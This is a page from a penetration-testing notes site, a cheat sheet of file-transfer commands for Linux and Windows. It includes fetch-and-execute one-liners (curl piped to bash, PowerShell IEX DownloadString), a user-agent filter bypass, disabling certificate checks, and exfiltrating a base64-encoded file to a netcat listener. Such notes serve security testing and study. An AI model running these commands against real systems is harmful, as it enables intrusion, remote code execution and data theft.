> For the complete documentation index, see [llms.txt](https://ivalexev.gitbook.io/rednote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ivalexev.gitbook.io/rednote/utility/transferring-file/main.md).

# Main

Via SSH:

{% code overflow="wrap" %}

```bash
scp [-r] <USER>@<IP>:/<REMOTE_FILE> /<TO_LOCAL>
scp [-r] /<LOCAL_FILE> <USER>@<IP>:/<TO_REMOTE>
```

{% endcode %}

## Download

{% tabs %}
{% tab title="Linux" %}
{% code overflow="wrap" %}

```bash
wget -O <NEW_NAME> <URL_TO_FILE> 
```

{% endcode %}

{% code overflow="wrap" %}

```bash
curl -o <NEW_NAME> <URL_TO_FILE>
```

{% endcode %}
{% endtab %}

{% tab title="Windows" %}

#### CMD

{% code overflow="wrap" %}

```powershell
certutil -urlcache -f http://<IP>/<FILE> <NEW_NAME>
```

{% endcode %}

#### PowerShell

{% code overflow="wrap" %}

```powershell
iwr -uri http://<IP>/<FILE> -Outfile <NEW_NAME> 
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Invoke-WebRequest <URL_SOPRA> -OutFile <NAME_FILE>

# Bypass filters that check user-agent 
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest <URL_SOPRA> -UserAgent $UserAgent -OutFile <NAME_FILE>
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
(New-Object Net.WebClient).DownloadFile('<URL_FILE>','<NEW_NAME>')
(New-Object Net.WebClient).DownloadFileAsync('<URL_FILE>','<NEW_NAME>')
```

{% endcode %}

#### SMB

From [server SMB](/rednote/utility/server.md#smb).

{% code overflow="wrap" %}

```powershell
copy \\<IP>\<PATH>\<FILE> 
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
net use n: \\<IP>\<PATH>\<FILE> /user:<USER> <PASS>
```

{% endcode %}

#### FTP

From [server FTP](/rednote/utility/server.md#ftp).

{% code overflow="wrap" %}

```powershell
(New-Object Net.WebClient).DownloadFile('ftp://<IP>/<FILE>', '<NEW_NAME>')
```

{% endcode %}
{% endtab %}
{% endtabs %}

## Upload

{% tabs %}
{% tab title="Linux" %}

#### Python Server

Set [Server Python3 with Upload Option](/rednote/utility/server.md#python) (and self-signed certificate)

{% code overflow="wrap" %}

```shell
curl -X POST https://<IP>/<DIR> -F 'files=@<PATH_FILE1>' -F 'files=@<PATH_FILE2>' --insecure
```

{% endcode %}
{% endtab %}

{% tab title="Windows" %}

#### SMB

Set [SMB Server](/rednote/utility/server.md#smb).

{% code overflow="wrap" %}

```powershell
net use \\<IP>\<SHARE>
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
copy <FILE> \\<IP>\DavWWWRoot\   # root dir
copy <FILE> \\<IP>\<DIR>\
```

{% endcode %}

On the windows host if SMB share is not available it will try to connect using HTTP. For this reason I can also use a [WebDav server](/rednote/utility/server.md#webdav).

#### PowerShell Script

Set [Server Python3 with Upload Option](/rednote/utility/server.md#python) (and self-signed certificate).\
Download [PSUpload.ps1](https://github.com/juliourena/plaintext/blob/master/Powershell/PSUpload.ps1).

{% code overflow="wrap" %}

```powershell
# Disable Certification Check
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Invoke-FileUpload -Uri https://<IP>:<PORT>/<DIR> -File <FILE>
```

{% endcode %}

#### FTP

Set [FTP server](/rednote/utility/server.md#ftp) with `--write`.

{% code overflow="wrap" %}

```powershell
(New-Object Net.WebClient).UploadFile('ftp://<IP>/<NEW_NAME>', '<FILE>')
```

{% endcode %}
{% endtab %}
{% endtabs %}

## Fileless

{% tabs %}
{% tab title="Linux" %}
{% code overflow="wrap" %}

```bash
curl <URL>/<FILE_BASH.sh> | bash
```

{% endcode %}

{% code overflow="wrap" %}

```bash
wget -qO- <URL>/<FILE_PYHTON.py> | python3
```

{% endcode %}
{% endtab %}

{% tab title="Windows" %}
{% code overflow="wrap" %}

```powershell
IEX (New-Object Net.WebClient).DownloadString('http://<IP>/<FILE>') 
```

{% endcode %}

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong>(New-Object Net.WebClient).DownloadString('http://&#x3C;IP>/&#x3C;FILE>') | IEX
</strong></code></pre>

{% endtab %}
{% endtabs %}

## Base64

It does not work with strings that are too long.

{% tabs %}
{% tab title="Linux" %}
From File to Base64:

{% code overflow="wrap" %}

```bash
base64 <FILE> -w 0
```

{% endcode %}

From Base64 to File:

{% code overflow="wrap" %}

```bash
echo -n <BASE64> | base64 -d > <NAME>
```

{% endcode %}

Verify Hash MD5:

{% code overflow="wrap" %}

```bash
md5sum <FILE>
```

{% endcode %}
{% endtab %}

{% tab title="Windows" %}
From File to Base64:

{% code overflow="wrap" %}

```powershell
[Convert]::ToBase64String((Get-Content -path "<FILE>" -Encoding byte))
```

{% endcode %}

From Base64 to File:

{% code overflow="wrap" %}

```powershell
[IO.File]::WriteAllBytes("C:\<FILE>", [Convert]::FromBase64String("<BASE64>"))
```

{% endcode %}

Verify Hash MD5:

{% code overflow="wrap" %}

```powershell
Get-FileHash "<FILE>" -Algorithm MD5 | select Hash
```

{% endcode %}

Send Base64 to netcat listener over POST request:

{% code overflow="wrap" %}

```powershell
$b64 = [System.convert]::ToBase64String((Get-Content -Path '<FILE>' -Encoding Byte))
Invoke-WebRequest -Uri http://<IP>:<PORT>/ -Method POST -Body $b64
```

{% endcode %}
{% endtab %}
{% endtabs %}
